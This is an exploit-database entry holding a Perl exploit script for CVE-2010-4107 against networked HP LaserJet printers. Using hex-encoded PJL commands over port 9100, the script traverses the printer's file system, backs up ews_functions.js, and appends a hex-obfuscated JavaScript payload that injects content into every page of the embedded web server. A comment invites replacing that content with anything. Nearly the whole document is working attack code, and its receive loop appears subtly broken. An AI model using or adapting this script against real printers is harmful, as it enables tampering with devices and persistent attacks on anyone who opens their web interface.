HP Laser Jet - JavaScript Persistent XSS via PJL Directory Traversal



EKU-ID: 4012 CVE: 2010-4107 OSVDB-ID:
Author: @0x00string Published: 2014-05-04 Verified: Verified
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#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket::INET;
my $host = $ARGV[0];
  
# Exploit Title: HP Laser Jet Persistent Javascript Cross Site Scripting via PJL
# Google Dork: n/a
# Date: 4/22/14
# Exploit Author: @0x00string
# Vendor Homepage: http://www.hp.com/products1/laserjetprinters/
# Software Link: n/a
# Version: HP LaserJet P/M xxxx (LaserJets with network conectivity, PJL and onboard storage)
# Tested on: P4015n, P2035n, P4014, M3035 MFP, CP 3525, etc.
# CVE : CVE-2010-4107, 
  
  
  
# This script will infect all pages on HP laserjets which include ews_functions.js by appending javascript to the ews_functions.js file by leveraging the PJL Directory Traversal
  
  
  
print "\t _______  __   __  _______  _______  _______  _______  ______    ___   __    _  _______
\t|  _    ||  |_|  ||  _    ||  _    ||       ||       ||    _ |  |   | |  |  | ||       |
\t| | |   ||       || | |   || | |   ||  _____||_     _||   | ||  |   | |   |_| ||    ___|
\t| | |   ||       || | |   || | |   || |_____   |   |  |   |_||_ |   | |       ||   | __
\t| |_|   | |     | | |_|   || |_|   ||_____  |  |   |  |    __  ||   | |  _    ||   ||  |
\t|       ||   _   ||       ||       | _____| |  |   |  |   |  | ||   | | | |   ||   |_| |
\t|_______||__| |__||_______||_______||_______|  |___|  |___|  |_||___| |_|  |__||_______|
\t                         HP Laser Jet persistent Javascript XSS
\t                  via PJL Dir Trav\n\n";
  
  
  
$| = 1;
infect($host);
  
  
sub infect {
        my $co = 0;
        my (@returned, $temp, @files, @sizes, $size, $data);
        my $socket = new IO::Socket::INET (
                        PeerHost => $host,
                        PeerPort => '9100',
                        Proto => 'tcp',
        ) or die $!;
        if ($socket) {
        $data =
        "\x1b\x25\x2d\x31\x32".
            "\x33\x34\x35\x58\x40".
            "\x50\x4a\x4c\x20\x46".
            "\x53\x44\x49\x52\x4c".
            "\x49\x53\x54\x20\x4e".
            "\x41\x4d\x45\x20\x3d".
            "\x20\x22\x30\x3a\x5c".
            "\x5c\x77\x65\x62\x53".
            "\x65\x72\x76\x65\x72".
            "\x5c\x5c\x68\x6f\x6d".
            "\x65\x5c\x5c\x6a\x73".
            "\x66\x69\x6c\x65\x73".
            "\x5c\x5c\x22\x20\x45".
            "\x4e\x54\x52\x59\x3d".
            "\x31\x20\x43\x4f\x55".
            "\x4e\x54\x3d\x39\x39".
            "\x39\x0a\x0d\x1b\x25".
            "\x2d\x31\x32\x33\x34\x35\x58";
  
            #print "\n$data\n";
            $socket = tx($socket, $data);
            ($socket, $temp) = rx($socket);
            #print "\n$temp\n";
  
            @returned = split('\n', $temp);
            foreach(@returned) {
                if ($_ =~ /(.*?)\ TYPE\=FILE\ SIZE\=(\d{1,99})/) {
                    push(@files, $1);
                    push(@sizes, $2);
                            }
                }
        }
        my $two = 0;
        foreach(@files) {
            if ($_ =~ /RestrictColor\.js/ || $_ =~ /ews_functions\.js/) {
                $two++;
            }
        }
        if ($two > 1) {
            if ($socket) {
                while ($co < scalar(@files)) {
                    if ($files[$co] =~ /ews/) {
                        $size = $sizes[$co];
  
                        $data =
  
  
                        "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58".
                        "\x40\x50\x4a\x4c\x20\x46\x53\x55\x50".
                        "\x4c\x4f\x41\x44\x20\x4e\x41\x4d\x45".
                        "\x20\x3d\x20\x22\x30\x3a\x5c\x5c\x77".
                        "\x65\x62\x53\x65\x72\x76\x65\x72\x5c".
                        "\x5c\x68\x6f\x6d\x65\x5c\x5c\x6a\x73".
                        "\x66\x69\x6c\x65\x73\x5c\x5c\x65\x77".
                        "\x73\x5f\x66\x75\x6e\x63\x74\x69\x6f".
                        "\x6e\x73\x2e\x6a\x73\x22\x20\x4f\x46".
  
                        "\x46\x53\x45\x54\x3d\x30\x20\x53\x49".
  
                        "\x5a\x45\x20\x3d\x20" . $size.
                        "\x0d\x0a";
                    }
                    $co++;
                }
                $temp = undef;
  
                #print "\n$data\n";
                $socket = tx($socket, $data);
  
                $data = undef;
                if ($socket) {
                    ($socket, $temp) = rx($socket, $size);
                    #print "\n$temp\n";
  
                    my @original = split('\n', $temp);
                    $temp = "";
                    shift(@original);
                    foreach(@original) {
                        $temp = $temp .  $_ . "\n";
                    }
                    #print $temp;
                }
            }
        }
  
        $data =
  
  
        "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58".
        "\x40\x50\x4a\x4c\x20\x46\x53\x41\x50".
        "\x50\x45\x4e\x44\x20\x46\x4f\x52\x4d".
        "\x41\x54\x3a\x42\x49\x4e\x41\x52\x59".
        "\x20\x4e\x41\x4d\x45".
        "\x20\x3d\x20\x22\x30\x3a\x5c\x5c\x77".
        "\x65\x62\x53\x65\x72\x76\x65\x72\x5c".
        "\x5c\x68\x6f\x6d\x65\x5c\x5c\x6a\x73".
        "\x66\x69\x6c\x65\x73\x5c\x5c\x65\x77".
        "\x73\x5f\x66\x75\x6e\x63\x74\x69\x6f".
        "\x6e\x73\x2e\x42\x41\x4b".
        "\x22\x20\x53\x49\x5a\x45\x20\x3d\x20".
        length($temp) . "\x0d\x0a". $temp.
    "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58";
        #print $data;
        if ($socket) {
            #print "\n$data\n";
            $socket = tx($socket, $data);
            ($socket, $temp) = rx($socket);
            #print "\n$temp\n";
        }
  
        if ($socket) {
            $data =
            "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58".
            "\x40\x50\x4a\x4c\x20\x46\x53\x51\x55".
            "\x45\x52\x59\x20\x4e\x41\x4d\x45\x20".
            "\x3d\x20\x22\x30\x3a\x5c\x5c\x77\x65".
            "\x62\x53\x65\x72\x76\x65\x72\x5c\x5c".
            "\x68\x6f\x6d\x65\x5c\x5c\x6a\x73\x66".
            "\x69\x6c\x65\x73\x5c\x5c\x65\x77\x73".
            "\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e".
            "\x73\x2e\x42\x41\x4b\x22\x0d\x0a";
  
            #print "\n$data\n";
            $socket = tx($socket, $data);
            ($socket, $temp) = rx($socket);
            #print "\n$temp\n";
  
            exit(0) unless ($temp =~ /ews\_functions\.BAK/);
        }
        if ($socket) {
         my $payload =
                        "\x76\x61\x72\x20\x65\x78\x70\x6c\x6f".
                        "\x69\x74\x20\x3d\x20\x64\x6f\x63\x75".
                    "\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61".
                        "\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74".
                        "\x28\x22\x64\x69\x76\x22\x29\x3b\x20".
                        "\x65\x78\x70\x6c\x6f\x69\x74\x2e\x69".
                        "\x6e\x6e\x65\x72\x48\x54\x4d\x4c\x20".
                        "\x3d\x20\x27\x3c\x64\x69\x76\x3e\x3c".
                        "\x66\x6f\x6e\x74\x20\x73\x69\x7a\x65".
                        "\x3d\x35\x30\x3e".
                        "\x41\x41\x41\x41" . "\x3c".        # <--- this is being added to the page as an element. put whatever you'd like here, but check your lengths!
                        "\x2f\x66\x6f\x6e\x74\x3e\x3c\x2f\x64".
                        "\x69\x76\x3e\x27\x3b\x20\x64\x6f\x63".
                        "\x75\x6d\x65\x6e\x74\x2e\x67\x65\x74".
                        "\x45\x6c\x65\x6d\x65\x6e\x74\x73\x42".
                        "\x79\x54\x61\x67\x4e\x61\x6d\x65\x28".
                        "\x27\x62\x6f\x64\x79\x27\x29\x5b\x30".
                        "\x5d\x2e\x61\x70\x70\x65\x6e\x64\x43".
                        "\x68\x69\x6c\x64\x28\x65\x78\x70\x6c".
                        "\x6f\x69\x74\x29\x3b";
  
        $data =
                        "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58".
                        "\x40\x50\x4a\x4c\x20\x46\x53\x41\x50".
                        "\x50\x45\x4e\x44\x20\x46\x4f\x52\x4d".
                        "\x41\x54\x3a\x42\x49\x4e\x41\x52\x59".
                        "\x20\x4e\x41\x4d\x45\x20\x3d\x22\x30".
                        "\x3a\x5c\x5c\x77\x65\x62\x53\x65\x72".
                        "\x76\x65\x72\x5c\x5c\x68\x6f\x6d\x65".
                        "\x5c\x5c\x6a\x73\x66\x69\x6c\x65\x73".
                        "\x5c\x5c\x65\x77\x73\x5f\x66\x75\x6e".
                        "\x63\x74\x69\x6f\x6e\x73\x2e\x6a\x73".
                        "\x22\x20\x53\x49\x5a\x45\x20\x3d\x20".
                        length($payload) . "\x0d\x0a". $payload.
                        "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58";
                        $socket = tx($socket, $data);
                exit(0);
        }
}
  
  
sub tx {
        my $socket = shift;
        my $data = shift;
  
        $socket->send($data) or die $!;
  
        return $socket;
}
  
sub rx {
        my $socket = shift;
        my $second_size = shift;
    unless ($second_size) {
  
        $second_size = 2048;
    }
        my $data = undef;
  
        eval {
                local $SIG{ALRM} = sub { die 'Timed Out'; };
                alarm 10;
                $socket->recv($data, 2048);
                if ($data) {
                        while (length($data) < (length($data) + $second_size)) {
                                my $moar;
                                $socket->recv($moar, length($second_size + 1));
                                $data = $data . $moar;
                        }
                        alarm 0;
                        return ($socket, $data);
                }
        };
        alarm 0;
  
        return($socket, $data);